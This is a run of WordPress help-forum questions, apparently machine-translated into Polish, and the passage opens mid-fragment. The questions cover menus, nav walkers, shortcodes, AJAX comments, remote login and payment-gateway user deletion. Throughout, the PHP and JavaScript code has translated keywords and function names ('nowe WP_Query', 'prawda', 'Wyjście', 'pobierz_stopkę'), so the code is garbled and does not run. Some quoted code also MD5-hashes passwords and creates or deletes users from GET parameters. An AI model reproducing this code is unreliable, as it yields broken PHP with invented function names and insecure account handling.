7 ) [order_assign_date] => Tablica ( [0] => 2013-09-28 02:30 ) teraz jak to zrobić zastosować warunek?


title: dlaczego $_REQUESt['redirect_to'] jest puste?

text: wp-login.php używa $_REQUEST['redirect_to'] jako sposób na obejście przekierowania dla łącza lostpassword. Jednak z jakiegoś powodu wydaje się, że nie działa. Może to moje środowisko serwerowe, ale wartość $_REQUEST['redirect_to'] jest nieustawiona, nawet jeśli jawnie przekażę ją jako zmienną GET w identyfikatorze URI. Czy to jest wordpress, czy może coś z moim środowiskiem hostingowym, czy po prostu ja jestem nowicjuszem? Widziałem inny post, w którym użytkownik @rarst wspomniał, że WP implementuje własne zachowanie logiczne, aby wymusić REQUEST jako kombinację GET i POST. Ale nie widzę kodu, o którym mówi, nigdzie w wp-login, a nie w wp-load. Zgaduję więc, że REQUEST na wp-login zachowuje się, jednak środowisko php jest skonfigurowane tak, aby się zachowywało. Czy ktoś ma jakiś wgląd w to?


title: Jak wymusić dodanie obrazka do uzupełnienia pól tytułu/legendy?

text: Mam witrynę internetową dla wielu autorów i szukam sposobu, aby zmusić mojego autora do uzupełnienia pól tytułu i legendy podczas dodawania obrazu. Możesz mi pomóc?


title: Wyświetlaj posty kategorii pogrupowane według taksonomii

text: Pracuję nad projektem, w którym używam domyślnych postów jako "Produkty", domyślnej kategorii jako "Aplikacja" i niestandardowej taksonomii o nazwie "Grupy". Chcę wystawić "Produkty" według "Aplikacji" (category.php), ale pogrupować je w odpowiednie "Grupy": * **Motoryzacja** (Zastosowanie) * _Srebrny_ (Grupa) * Produkt 01 * Produkt 04 * Produkt 05 * _Flake_ (Grupa) * Produkt 02 * Produkt 03 * Produkt 06 Próbowałem różnych prób, ale bez powodzenia. Czy jest na to łatwy sposób? Dziękuję!


title: Jak opracować funkcję społecznościową na pulpicie nawigacyjnym dla witryny wieloautorskiej?

text: Prowadzę witrynę Wordpress, która ma ponad 300 autorów. Czy można stworzyć jakiś rodzaj społeczności w backendzie (dashboardzie)? Idealnie miejsce, w którym autorzy mogą dyskutować ze sobą w systemie typu wątkowego, z wiadomościami administracyjnymi i tak dalej. Najbliższą rzeczą, jaką udało mi się znaleźć, był Admin Microblog, ale czytając opis, wydaje się, że jest bardzo ograniczony. Jestem dość zaskoczony, że nie ma zbyt wielu wtyczek typu backend community, wyobrażałem sobie, że popyt na takie będzie dość wysoki. Ktokolwiek wie?


title: Sortuj według liczby słów posta w obszarze administracyjnym

text: Mam niestandardowy typ posta o nazwie `species`, który składa się z kilku `meta_fields`. Idealnie chciałbym, aby liczba słów dla każdego „profilu gatunku” (jest to termin, którego używam dla pojedynczego wpisu typu „gatunek”). Na przykład, gdy klikniesz menu „Gatunki” na zapleczu, możesz zobaczyć listę wszystkich profili gatunków (podzielonych na strony, jak robi to WordPress) z informacjami o liczbie słów w każdym „profilu gatunku” oraz aby móc sortować według tego `ASC`/`DESC`. Gdybym robił to poza obszarem zaplecza, prawdopodobnie wykonałbym następujące czynności: * Pobranie wszystkich danych dla konkretnego `Post_ID` * `strip_tags` danych (i tagów shortcode WP) * Umieszczenie wszystkiego w big string * Użyj `$array = explode( " ", $string )` aby utworzyć dużą tablicę * Uzyskaj liczbę słów z `sizeof( $array )` Pytanie brzmi, jak mogę to umieścić w panelu administracyjnym WordPress typ posta? A jak sprawić, by było możliwe do sortowania? Z góry dziękuję,


title: pobierz aktualny identyfikator kategorii php

text: Próbuję uzyskać identyfikator kategorii bieżącego wyświetlanego archiwum. Próbowałem: // kategoria (może być kategorią nadrzędną) $current_cat_ID = get_query_var('cat'); // print_r ($current_cat_ID); Nic nie drukuje...


title: Wordpress Menu - Jak dodać style inline do menu UL

text:
Właśnie przekonwertowałem moją wersję HTML motywu na Wordpress i obecnie konwertuję menu rozwijane. **Co przetwarza WordPress:**

Strona główna

Informacje

Kontakt

Rozwijane menu

Strona pierwsza

Strona druga

Strona trzecia

Strony

 Podczas ładowania strony, oto co pokazuje moje menu:
 Chciałbym, aby wyświetlało się:
 **Co obecnie robi WordPress:** Po załadowaniu rozwijane menu jest aktualnie wyświetlane. Zrzut ekranu: http://d.pr/i/KMxL - Chcę, aby wyświetlał się tylko po najechaniu kursorem, ale od czasu konwersji z mojego surowego HTML/CSS wyświetla się po prostu podczas ładowania strony, ale kiedy najeżdżam kursorem i/ lub najedź, działa dobrze. **Moje jQuery** $(function() { $("ul.dropdown li").hover(function() { $('ul:first',this).css('visibility', 'visible'); }, function() { $(this).removeClass("hover"); $('ul:first',this).css('visibility', 'hidden'); }); }); Nie jestem do końca pewien, jak sprawić, by WordPress dodał do tego 'style="visibility: hidden;"'. Czy ktokolwiek ma jakiś pomysł? **Uwaga:** Jeśli coś przeoczyłem, dodam to, przepraszam. Ponadto korzystam z menu WordPressa. Używając: **add_theme_support('menus');**


title: Ikony Social Media Feather nie wyświetlają się dla każdego postu

text:
Używam następującego kodu do wyświetlania widżetu "Social Media Feather" dla każdego postu, ale ikony są wyświetlane tylko dla pierwszego posta, a nie dla reszty: $paged = (get_query_var('paged' )) ? get_query_var('stronicowane') : 1; $args = array( 'post_type' => 'events', 'posts_per_page' => 2, 'paged' => $paged ); $pętla = nowe WP_Query( $args ); if ($loop->have_posts()) : while ( $loop->have_posts() ) : $loop->the_post(); $liczba=0; ?> <div class="wiersz lista-zdarzeń moje-zdarzenia <?php echo $type[0]->nazwa; ?> ">

<?php the_title( ); ?>

 <img src="<?php echo OBRAZY; ?>/share.png" class="img- responsywny" alt="" />

 <?php get_sidebar('share'); ?>

 <?php endwhile; endif;


title: jak zarejestrować drugą stronę-szablon

text: używam blogolife http://wordpress.org/themes/blogolife i lubię dodać inny szablon strony, który jest identyczny ze standardowym szablonem strony, ale ma inny pasek boczny. również chciałbym dodać szablon biznesowy i kontaktowy. struktura motyw-folder jest jednak dla mnie trochę myląca, gdyby ktoś był tak miły, aby załadować motyw i sprawdzić strukturę, a może nawet mi wyjaśnić, byłbym bardzo zadowolony. również mogę wybrać tylko jeden szablon, nawet jeśli wydaje się, że w tym motywie jest kilka podszablonów. Co ja robię źle?


title: używanie wp_remote_get zamiast file_get_contents

text: Uruchomiłem mój motyw za pomocą wtyczki Theme checker i wydaje się, że jest zdenerwowany użyciem „file_get_contents”, aby uzyskać adres URL json. Znalazłem posty mówiące, że powinienem użyć wp_remote_get. Obecnie dekoduję adres URL w następujący sposób: $url = 'url' . $var; $json = file_get_contents($url,0,null,null); $wyjście = json_decode($json,prawda); Komunikat, który otrzymuję z Kontrolera motywów to: „OSTRZEŻENIE: znaleziono plik_get_contents w możliwych operacjach na pliku file.php”. Czy mówi to tylko dlatego, że istnieje funkcja, której mógłbym użyć za pomocą wordpressa lub z innych powodów? Również jak bym używał 'wp_remote_get'. Próbowałem kilku odmian, głównie zastępując file_get_contents wp_remote_get bez powodzenia. Wygląda na to, że w ogóle nie dekoduje adresu URL.


title: wp_set_current_user (zdalne logowanie) nie działa na serwerze

text: Walczę z jednym ciekawym problemem. Loguję użytkownika z autoryzacją na zdalnym serwerze. Problem polega na tym, że działa dobrze na lokalnym hoście, ale nie na serwerze. Oto kod, którego używam: function userSignIn() { $token = $_GET['klucz']; $userOp = getUserFromOP($token); if ($userOp != null && is_array($userOp)) { $userobj = nowy WP_User(); $myuser = $userobj->get_data_by('email', $userOp['Email']); $myuser = nowy WP_User($myuser->ID); if ($myuser->ID == 0) { $userdata = array( 'user_email' => $userOp['Email'], 'user_login' => $userOp['Email'], 'display_name' => $userOp ['Imię'], 'role' => 'współtwórca' ); $ new_user_id = wp_insert_user ($ userdata); update_user_meta($new_user_id, 'kod_zip', $userOp['ZIP']); update_user_meta($new_user_id, 'telefon', $userOp['Telefon']); update_user_meta($new_user_id, 'user_field', $userOp['Field']); update_user_meta($new_user_id, 'user_obor_zamestnavatele', $userOp['OborZamestnavatele']); update_user_meta($new_user_id, 'user_type', $userOp['UserType']); $myuser = nowy WP_User($new_user_id); wp_set_current_user($myuser->ID); wp_set_auth_cookie ($myuser->ID, prawda); } else { var_dump($myuser); //brak problemu z użytkownikiem wp_set_current_user($myuser->ID); //problem jest tutaj wp_set_auth_cookie($myuser->ID, true); //i tutaj } return true; } else { return false; } } Nie mam problemu z pobraniem i utworzeniem użytkownika. Mam użytkownika w DB i kiedy go zrzucam, widzę go, ale nie mogę go ustawić za pomocą tych dwóch funkcji. zrzucony obiekt: object(WP_User)#2048 (7) { ["dane"]=> object(stdClass) #2047 (10) { ["ID"]=> string(1) "7" ["user_login"]= > string(27) "email@email.com" ["user_pass"]=> string(34) "$P$BXIG9QYI4ij6ZmWm73T8TerQ5V2bGQ1" ["user_nicename"]=> string(26) "emailemail-com" ["user_email"] => string(27) "email@email.com" ["user_url"]=> string(0) "" ["user_registered"]=> string(19) "2013-09-03 12:39:47" [ "user_activation_key"]=> string(0) "" ["user_status"]=> string(1) "0" ["display_name"]=> string(13) "imię nazwisko" } ["ID"]=> int (7) ["caps"]=> array(1) { ["contributor"]=> bool(true) } ["cap_key"]=> string(24) "wp_nadaceop_capabilities" ["roles"]=> array( 1) { [0]=> string(11) "contributor" } ["allcaps"]=> array(6) { ["edit_posts"]=> bool(true) [ "czytaj"]=> bool(prawda) ["poziom_1"]=> bool(prawda) ["poziom_0"]=> bool(prawda) ["delete_posts"]=> bool(prawda) ["contributor"]=> bool(true) } ["filtr"]=> NULL } Czy ktoś może mi pomóc? Bardzo dziękuję. Michała Majernika.


title: Usuwanie użytkownika w multisite

text:
Próbuję usunąć użytkownika, gdy bramka płatności żąda, mam następujący kod: (edytowany kod, aby pokazać pełną funkcję, która komunikuje się z bramką płatności, echo daje odpowiedź bramce płatności, w której znajdują się wyjścia, ponieważ jest używane w przykładowy kod bramki płatności.) function handle_gateway_return() { $GWPass = get_option( $this->gateway . "_gateway_gwpass" ); if ($_GET["GWPass"] != $GWPass ) { header("HTTP/1.0 401 nieautoryzowany"); echo "
Gateway 1.1

Uwierzytelnianie nie powiodło się.
"; Wyjście; } //================================================= === // Akcja: user.add //====================================== ============ if ($_GET["Akcja"] == "user.add") { // Załaduj zmienne $ZFirstName = trim($_GET['FIRSTNAME']); $ZLastName = trim($_GET['LASTNAME']); $ZFullName = $ZFirstName." ".$ZLastName; $ZUserName = trim($_GET['username']); $ZEmail = przycinanie($_GET['EMAIL']); $ZPassword = trim($_GET['hasło']); $ZPassword = md5($ZPassword); //md5 if ( nazwa_użytkownika_istnieje( $ZNazwaUżytkownika ) ) { echo "OK|Użytkownik dodany!"; Wyjście; } if (! nazwa_użytkownika_istnieje ($ZUserName) ) { wp_create_user($ZUserName, $ZPassword, $ZEmail); echo "OK|Dodane przez użytkownika!"; Wyjście; } } //========================================= ==== // Akcja: user.delete //====================================== ============= else if ($_GET["Akcja"] == "user.delete") { $ZNazwaUżytkownika = trim($_GET['nazwa_użytkownika']); // Pobierz user_id $user = get_user_by('login', $ZUserName); if (!$user) { echo 'USER_DOES_NOT_EXIST'; Wyjście; } $url = network_site_url('/wp-admin/includes/ms.php'); if ($user) { include($url); wpmu_delete_user($użytkownik->ID); echo "OK|Użytkownik usunięty!"; Wyjście; } } else { echo "UNKNOWN_ACTION|UNKNOWN_ACTION"; Wyjście; } } Jednak użytkownik nie zostaje usunięty! Co ja robię źle? Z góry dziękuje za twoją pomoc! Edycja: Dzieje się tak w pliku dodatku bramki płatności używanym we wtyczce członkostwa wpmudevs. W pliku addon mam funkcję, która zajmuje się zwrotem przez bramę i tworzenie użytkownika działa dobrze za pomocą wp_create_user i tak, nie było potrzeby dołączania tam. Dodałem tutaj dołączenie po prostu dlatego, że gdzieś o tym wspomniałem i pomyślałem, że spróbuję, ponieważ bez dołączenia też nie działa (ale nie sądziłem, że jest to potrzebne).


title: Brakujące style w TinyMCE Advanced 4.0.1 i WP3.9

text: Niedawno zaktualizowałem Wordpressa 3.9 i TinyMCE Advanced 4.0.1. Wygląda na to, że którykolwiek z niestandardowych stylów, które znajdowały się w menu rozwijanym „style”, już się nie wyświetla. Rzeczy, które próbowałem: - Dezaktywacja wszystkich wtyczek - Przejście do innego motywu - Całkowite opróżnienie pamięci podręcznej przeglądarki - Kliknąłem też na "include editor-style.css", ale nadal nic. Wydaje się, że nic nie działa. Musi być jakiś haczyk i nie mogę być jedynym z tym problemem. Dziękuję! Troja


title: Otwarte słupki w przesuwanym panelu

text: Jestem nowy w WordPressie/kodowaniu i zastanawiałem się, czy moglibyście mi trochę pomóc. Chcę, aby strony z wpisami otwierały się w poziomym panelu suwakowym... oto idealny przykład tego, o co mi chodzi: http://www.creativejournal.com/ Czy ktoś ma pomysł, jak mogę to osiągnąć? Z poważaniem, Lucas


title: Zmodyfikuj motyw Twenty Fourteen Child Single.php

text:
Muszę utworzyć motyw potomny dla domyślnego motywu Twenty Fourteen. A w tym motywie potomnym muszę zmodyfikować single.php. To jest domyślny get_header(); ?>

 <?php // Uruchom pętlę. while ( have_posts() ): the_post(); /* * Dołącz do treści szablon specyficzny dla formatu posta. Jeśli chcesz * użyć tego w motywie potomnym, dołącz plik o nazwie content-___.php * (gdzie ___ to format postu), który zostanie użyty zamiast tego. */ get_template_part( 'treść', get_post_format() ); // Nawigacja do poprzedniego/następnego wpisu. dwadzieścia czternaście_post_nav(); // Jeśli komentarze są otwarte lub mamy co najmniej jeden komentarz, załaduj szablon komentarza. if ( comments_open() || get_comments_number() ) { comments_template(); } koniec; ?>

 <?php get_sidebar( 'treść' ); get_sidebar(); pobierz_stopkę(); Teraz muszę zrobić dwie rzeczy: Po pierwsze, dodać kilka przycisków udostępniania w moim poście. Kody tych przycisków to

  Po drugie, dodaj do posta zmienną z zaawansowanych pól niestandardowych. Kody są takie jak:
<?php the_field('nazwa_pola'); ?>
 Nie wiem gdzie dodać te kody. Próbowałem wstawić motyw między kilka wierszy, ale to powoduje, że motyw przestaje działać. Muszę wiedzieć, gdzie dodać te linijki kodów.


title: Link do strony głównej kieruje do innego bloga.

text: Za każdym razem, gdy przeglądam bloga jako użytkownik i klikam przycisk Strona główna, prowadzi mnie to do mojego starego bloga. To, co chciałbym zrobić, to wrócić do bazy mojego bloga. Postaram się być jaśniejszy: jestem na example.wordpress.com/stuff i klikam przycisk home (który znajduje się na tym samym pasku, co wiele moich kategorii, na górze). Zamiast prowadzić mnie do example.wordpress.com, trafię na oldblog.wordpress.com. Czy ktoś może pomóc? Z góry dziękuję.


title: Zmień rozmiar obrazu, ale nie przycinaj

text: Mam koszyk WooCommerce dla WordPress i staram się, aby obrazy, które przesyłam do miniatur, miały proporcje, które ustawiłem (270px × 200px), a nie przycinały. Oto obraz pokazujący, co staram się osiągnąć. ![tutaj podaj opis obrazu](http://i.stack.imgur.com/kperG.jpg) Nie chcę przycinać obrazu, chcę zmienić jego rozmiar na maksymalną wysokość (200px), jeśli jest wysoki lub maksymalną szerokość (270px), jeśli jest szeroki i wyśrodkowany zarówno w pionie, jak iw poziomie, w ograniczeniu miniatury (270px x 200px). Przejrzałem wszystkie dokumenty WordPress i WooCommerce i nie mogę znaleźć żadnego sposobu na osiągnięcie tego natywnie. Używam wordpress v3.8.1. Jeśli nie jest to możliwe za pośrednictwem WordPress lub WooCommerce, czy znasz jakąkolwiek wtyczkę do zmiany rozmiaru obrazu, która wykonałaby tego typu przycinanie?


title: Niestandardowy walker w menu nawigacyjnym nie działa w motywie potomnym

text:
Stworzyłem motyw nadrzędny za pomocą walkera w menu nawigacyjnym, który działa dobrze. Chcę stworzyć motyw potomny, aby pokazać klientowi małe wariacje. Kiedy umieszczam ten sam kod w motywie potomnym, to nie działa. Kod w nagłówku motywu nadrzędnego i podrzędnego: $dt_menu_walker = new Dt_Main_Walker_Nav_Menu(); $navmenu_args = array( 'theme_location' => 'header-menu', 'container_class' => 'col-md-12', 'menu_class' => 'menu-clearfix', 'link_before' => '' , 'link_after' => '', 'walker' => $dt_menu_walker, 'głębokość' => 2 ); wp_nav_menu( $navmenu_args ); Z motywem potomnym powtarzam to: Uwaga: Próbuję uzyskać właściwość non-object w S:\hdt.co.uk\public_html\wp-includes\nav-menu-template.php w wierszu 153 właściwość non-object w S:\hdt.co.uk\public_html\wp-includes\nav-menu-template.php w wierszu 156. Uwaga: Próba uzyskania właściwości non-object w S:\hdt.co.uk \public_html\wp-includes\nav-menu-template.php w wierszu 156 Uwaga: Próbuję pobrać właściwość non-object w S:\hdt.co.uk\public_html\wp-includes\nav-menu-template.php w wierszu 158, a następnie lista pustych wypunktowań

... Sprawdziłem: * $dt_menu_walker JEST tworzony poprawnie * Jeśli zmienię `'walker' => $dt_menu_walker` na `'walker' => '',' menu zostanie wyświetlone * Jeśli zdefiniuję i użyję nowego niestandardowego walkera w W motywie potomnym dzieje się to samo. Obrażające wiersze w nav-menu-template.php to: $item_output = $args->before; $item_output .= ''; /** Ten filtr jest udokumentowany w wp-includes/post-template.php */ $item_output .= $args->link_before . Apply_filters( 'the_title', $item->title, $item->ID ) . $args->link_after; $item_output .= ''; $item_output .= $args->po; Jeśli dodam wcześniej `var_dump($args)`, widzę, że użycie mojego motywu nadrzędnego $args jest obiektem, ale użycie mojego motywu potomnego $args jest tablicą. Próbowałem zmienić wiersze na $item_output = $args['before']; $item_output .= ''; /** Ten filtr jest udokumentowany w wp-includes/post-template.php */ $item_output .= $args['link_before'] . Apply_filters( 'the_title', $item->title, $item->ID ) . $args['link_after']; $item_output .= ''; $item_output .= $args['po']; który pozbył się błędu, ale nie pojawia się menu. Więc masz jakiś pomysł, dlaczego nie mogę użyć niestandardowego nav walkera w moim motywie potomnym?


title: Shortcode / WP_Query w kontekście zmian postu

text: Mamy krótki kod, który powoduje wykonanie WP_Query, pobierając instancję niestandardowego typu postu. W naszym single.php zmienia to kontekst (po wywołaniu the_content()) z oryginalnego postu (z krótkim kodem) na ten z pobranego posta niestandardowego. Zauważyłem to, ponieważ szablon komentarzy nie był wyświetlany, ponieważ comment_status w niestandardowym poście jest „zamknięty” – interesuje nas jednak to, że comment_status w oryginalnym poście jest „otwarty”. Czy jest to błąd w wykonaniu naszego typu shortcode/niestandardowego posta, czy istnieje sposób na zrobienie tego, który nie zepsuje tego, co dzieje się w pojedynczym.php? Dzięki Toby


title: jak naprawić zepsuty edytor wizualny

text: Nasz edytor wizualny wyświetla surowy kod HTML: ![tutaj wprowadź opis obrazu](http://i.stack.imgur.com/qWkN8.png) Jeśli kliknę Wizualny lub Tekst, nic się nie dzieje – kliknięcie nie jest rejestracyjny. Mój profil nie ma zaznaczonego „wyłącz edytor wizualny”. To samo dzieje się w Chrome, Opera i Firefox. Wyłączyłem wszystkie motywy i wtyczki bez zmian. Przesłałem /wp-admin i /wp-includes bez zmian. Jakie inne rzeczy mogę spróbować przywrócić edytor wizualny?


title: Jak ręcznie uaktualnić tłumaczenia?

text: Niedawno zaktualizowałem witrynę Wordpress do najnowszej wersji WP (3.9). Zaktualizowałem również motywy i wtyczki, które tego potrzebowały. Niestety, funkcje automatycznej aktualizacji WP nie są kompatybilne z serwerem, na którym jest zainstalowana ta strona, więc muszę to zrobić ręcznie. Martwi mnie to, że nadal mam czerwoną „1” w menu Dashboard, informującą, że jest dostępna aktualizacja. Kiedy sprawdzam szczegóły, wszystko jest puste, z wyjątkiem sekcji „Tłumaczenia” na dole strony. Jak mogę je uaktualnić ręcznie? Jak powiedziałem, nie mogę po prostu pozwolić WP zrobić tego automatycznie, ponieważ to nie działa. Sprawdziłem folder „języki” w „wp-content” i upewniłem się, że zawiera tylko pliki z nowego archiwum WP. Nie wiem gdzie jeszcze szukać. Z góry dziękuję.


title: Ajax Auto Complete Konwertuj cały tekst w liczbie mnogiej na liczbę pojedynczą

text: Staram się stworzyć wtyczkę wyszukiwania wordpress, która po wpisaniu hasła tekstowego lub słowa kluczowego automatycznie przekonwertuje dowolny tekst w liczbie mnogiej na tekst w liczbie pojedynczej, np. „psy” zmienią się w „pies” Jestem już w stanie wyszukiwać z autouzupełnianiem, ale problemem jest konwersja tekstu. Każda pomoc byłaby wdzięczna


title: Jak uzyskać zrzut ekranu motywu

text: Musiałbym uzyskać listę dostępnych motywów wraz z ich zrzutem ekranu. Próbowałem użyć funkcji `wp_get_themes`, ale wydaje się, że nie jest to powrót zrzutu ekranu. Jak uzyskać zrzut ekranu dla każdego dostępnego motywu?


title: Chwytanie załączników graficznych do Flexslider

text:
Próbuję utworzyć funkcję, która załaduje załączniki obrazu postu do listy, której ma używać FlexSlider. Aby określić, chcę suwak obrazu, który jest specyficzny dla określonego postu. Na jednej stronie może znajdować się wiele suwaków w zależności od typu posta (w tym przypadku typu suwaka obrazu), który chcę. Mam jednak problem. To jest w moim pliku functions.php, odmiana artykułu Marty'ego Spellerberga w jQuery Slideshow (zamieściłbym link, ale nie mogę opublikować więcej niż 2 linki z mniej niż 10 powtórzeniami): function flexslider($post_id) { global $post ; $images = get_children(array('post_parent' => $post_id, 'post_status' => 'dziedzicz', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC' , 'orderby' => 'menu_order ID' )); if ($images) : foreach ($images as $attachment_id => $image) : $img_title = $image->post_title; $img_alt = get_post_meta($attachment_id, '_wp_attachment_image_alt', prawda); if ($img_alt == '') : $img_alt = $img_title; endif; $duża_tablica = image_downsize( $obraz->ID, 'duży' ); $img_url = $duża_tablica[0]; ?>
<img src="<?php echo $img_url; ?>" alt="<?php echo $img_alt; ?>" title="<?php echo $img_title; ?>" />
 <?php endforeach; ?> <?php endif; } A oto co wywołuje funkcję w index.php:

 <?php flexslider('duży','$post->ID'); ?>

 Problem polega na tym, że pojawia się tylko na stronie permalink. Chcę, aby pojawiał się wszędzie tam, gdzie wyświetlany jest post. Przykład można zobaczyć tutaj: permalink i strona główna.


title: WordPress na git - potrzebujesz pomocy przy konfiguracji

text: Mam cały mój kod WordPress na kontroli wersji i automatycznie aktualizuję się na serwerze za każdym razem, gdy coś wypchnę do zewnętrznego repozytorium git. Oznacza to, że gdy chcę dodać zdjęcia za pomocą funkcji dodawania mediów wordpress, nie mogę. Postępowałem zgodnie z instrukcjami tutaj: Jednak za każdym razem, gdy próbuję przesłać, otrzymuję następujący komunikat: > „unicorn.jpg” nie udało się przesłać z powodu błędu Nie można utworzyć > katalog wp-content/uploads/sites/ 2/2014/05. Czy jego katalog nadrzędny > > może być zapisywany przez serwer? Moja witryna jest hostowana na EC2 i potrzebuje obrazów na S3. Jakieś sugestie?


title: Dlaczego mój str_replace nie działa na krótkim kodzie przesłanym przez front-end?

text: Zbudowałem frontonowy formularz przesyłania postów, który umożliwia użytkownikowi dołączenie skróconego kodu dostarczonego przez SoundCloud. Skróty SoundCloud ogólnie wyglądają tak: [soundcloud url="http://api.soundcloud.com/playlists/92355602" params="" width=" 100%" height="450" iframe="true" /] Użytkownik wkleja krótki kod do mojego formularza, a mój formularz otrzyma krótki kod w porządku. Zanim zapiszę go jako post meta w poście, próbuję wykonać na nim kilka funkcji str_replace. if( isset( $_POST['scembed'] ) ) { $scembed = $_POST['scembed']; $scembed = str_replace( " 100%", "100%", $scembed ); $scembed = str_replace( "params=\"\"", "params=\"show_artwork=false\"", $scembed ); $scembed = str_replace( "height=\"450\"", "height=\"405\"", $scembed ); } Pierwsza działa, ponieważ po prostu usuwa błędną spację w łańcuchu. Ale potem dwa następne, faktycznie muszę dołączyć atrybut i jego podwójne cudzysłowy, aby dokładnie określić ciąg do zmiany. To nie zadziała i nie wiem dlaczego. Próbowałem nawet tego: $pfind = 'params=""'; $preplace = 'params="show_artwork=false"'; $scembed = str_replace( $pfind, $preplace, $scembed ); czego mi brakuje? Za każdym razem, gdy dołączasz podwójne cudzysłowy dla atrybutów, funkcja jest ignorowana :-/ -- Dla Ravs ------------------- <form name="create_post" method= "post" action ="" enctype="multipart/form-data"> <input type="text" name="scembed" maxlength="160" /> <input type="prześlij" value="Prześlij" name= "wyślij" /> </form> if( !empty( $_POST ) ) { if( !empty( $_POST['scembed'] ) ) { $scsource = $_POST['scembed']; $searchReplaceArray = array( ' 100%' => '100%', 'params=""' => 'params="show_artwork=false"', 'height="450"' => 'height="405"' , ); $scembed = str_replace( array_keys( $searchReplaceArray ), array_values( $searchReplaceArray ), $scsource ); } } if( $scembed ) add_post_meta( $post_id, 'scembed', $scembed, TRUE );


title: Jak zmienić obraz nagłówka w zależności od języka?

text: Używam qTranslate na motywie potomnym Genesis i chciałbym mieć możliwość zmiany obrazu nagłówka w zależności od wybranego języka. Jakieś pomysły, jak mogę to zrobić?


title: problem z formularzami kontaktowymi ajax

text: Mam problem z formularzami kontaktowymi. Działają znaleźć w witrynie html, ale za każdym razem, gdy próbuję je w WordPressie, kończą się niepowodzeniem. Zawęziłem problem do adresu URL: ustawienie. Na przykład $.ajax( { type: "POST", url: "contact.php", data: str, success: function (msg) { WordPress nie może znaleźć pliku contact.php. Znalazłem go, jeśli wstawię pełny adres URL do pliku, to działa. Czy wiesz, jak mogę to naprawić bez konieczności robienia tego?


title: Sprawdź zduplikowaną wartość pola niestandardowego przed uruchomieniem wp_insert_post

text: Oznacza to, że chcę zapobiec duplikowaniu wartości „guid_review” ACF, sprawdzając ją przed utworzeniem wpisu. foreach ($items as $itemKey => $item) { $myPost = array( 'post_type' => 'client_review', 'post_title' =>(string) $item->title, //obiekt jako ciąg przed próbą aby nim manipulować 'post_content' =>(string) $item->description ); $inserted_post_id = wp_insert_post( (tablica) $myPost ); if( $inserted_post_id ){ add_post_meta( (int) $inserted_post_id,'guid_review',(string)$item->guid); add_post_meta($inserted_post_id,'link_review',(string)$item->link); add_post_meta($inserted_post_id,'author_review',(string)$item->autor); add_post_meta($inserted_post_id,'rating_review',(string)$item->children('d3', true)->rating); add_post_meta($inserted_post_id,'certified_review',(string)$item->children('d3', true)->certified); add_post_meta($inserted_post_id,'pub_date_review',(string)$item->pubDate); } }


title: Komentarze Ajaxify i wstaw nowe zgłoszenia

text:
Próbowałem ajaxyfikować mój system komentarzy na wordpressie. Ale mam pewne trudności ze zrozumieniem, w jaki sposób należy wstawić przesłany komentarz. W rzeczywistości pytam, czy istnieje sposób lub funkcja w wordpressie, aby automatycznie uzyskać strukturę jednego komentarza mojej strony szablonu komentarzy. Czy muszę odtworzyć strukturę jednego komentarza i uzyskać po kolei informacje o autorze, czy mogę skorzystać z funkcji, która służy do wyświetlania wszystkich komentarzy w poście. Oto moje js: if (typeof jQuery != 'undefined') { jQuery('document').ready(function($){ var commentform = $('#commentform'); commentform.prepend('

'); var statusdiv = $('#comment-status'); $(document).on('submit','#commentform', function(){ var formdata = commentform). serialize(); statusdiv.html('
Przetwarzanie...
'); var formurl = commentform.attr('action'); $.ajax({ type: 'POST', url: formurl, data: formdata, error: function(XMLHttpRequest, textStatus, errorThrown){ statusdiv.html('
Możliwe, że jedno z pól zostało puste lub publikujesz zbyt szybko
' ); }, sukces: function(data, textStatus){ if(data=="success") { statusdiv.html('
Dziękujemy za komentarz. Dziękujemy za odpowiedź.
'); } else { statusdiv.html('
Poczekaj chwilę przed wysłaniem kolejnego komentarza
'); commentform.find('textarea[nazwa=komentarz]').val(''); } if ($('#respond').parents('li.comment').length) { $('#respond').parents('li.comment').after(data); var odpowiedź = $('#odpowiedź').clone(prawda); $('#odpowiedz').remove(); $('.lista-komentarzy').after(odpowiedź); } else { $('.lista-komentarzy').append(dane); } } }); zwróć fałsz; }); }); } i mój php: <?php function ajax_register_script(){ wp_register_script( 'to_ajax_comment', get_template_directory_uri() . '/includes/ajax-comments/ajax-comments.js',array('jquery')); wp_enqueue_script('to_ajax_comment'); } add_action('init','ajax_register_script'); function ajaxComment($comment_ID, $comment_status) { if(isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest'){ $comment = getment_comment($); wp_notify_postauthor($comment_ID, $comment->comment_type); echo komentarz_autor($comment_ID); echo comment_date('',$comment_ID); echo comment_time('',$comment_ID); echo comment_author_email( $comment_ID ); echo komentarz_tekst($comment_ID); echo get_avatar( comment_author_email( $comment_ID )); die($commentContent); } } add_action('comment_post', 'ajaxComment', 20, 2); ?> Te skrypty działają, ale moje pytanie brzmi, jak wstawić nowy komentarz przesłany po sukcesie ajax. Czy istnieje funkcja wordpress/hak, aby uzyskać całą strukturę i zawartość identyfikatora komentarza, czy muszę samodzielnie utworzyć nowy komentarz?


title: Nie wyświetla się numer komentarzy

text:
Witryna na żywo Używam `<?php comments_number( $zero, $one, $more ); ?>` na `home.php`, aby wyświetlić liczbę komentarzy w post-meta. Problem polega na tym, że nie pokazuje liczby, mimo że jest jeden komentarz do tego postu. Jakieś pomysły, co jest przyczyną problemu? Oto post-meta dla `index.php`:

<?php the_date(); ?> | <?php the_tags('tagi:', ', ', '
'); ?> | <?php numer_komentarze( $zero, $jeden, $więcej ); ?> komentarze
 <?php comments_template(); ?>


title: WP_Query to tylko zapętlona strona główna, a nie strony

text:
Piszę więc pętlę wordpress i chcę, aby moja pętla wywoływała ostatnie piętnaście stron (nie używam żadnego postu i nie jest to opcja), a następnie przechodzę przez znacznik LI i znacznik Span, aby wypełnić miniaturę. Jeśli jesteś zdezorientowany, sprawdź to xxlbreakcomp.com Moja pętla działa, ale wywołuje tylko informacje o mojej stronie głównej. Myślę, że albo muszę napisać drugą pętlę, albo wyjście, ale zrobiłem oba i żadne z nich nie działa. we właściwym kierunku, ale jestem całkowicie zagubiony. Ponadto tablica post__in również nie działa.

